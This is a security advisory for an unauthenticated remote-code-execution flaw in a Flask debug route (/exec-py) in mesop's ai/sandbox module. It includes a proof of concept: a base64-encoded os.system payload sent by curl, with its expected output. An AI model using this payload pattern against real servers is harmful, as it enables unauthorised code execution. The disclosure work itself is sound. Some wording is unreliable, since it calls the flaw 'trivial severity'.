CVE-2026-33057
Summary
An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.
Details
The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using executemodule(modulepath...).
## ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
code = base64.urlsafe_b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executedPoC
## Payload:
## import os
## os.system('echo "pwned by attacker" > /tmp/pwned.txt')
## ## Base64 string represents the identical payload block above:
## aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
## Validate exploitation target execution natively:
## $ cat /tmp/pwned.txt
## pwned by attackerImpact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v, https://github.com/mesop-dev/mesop
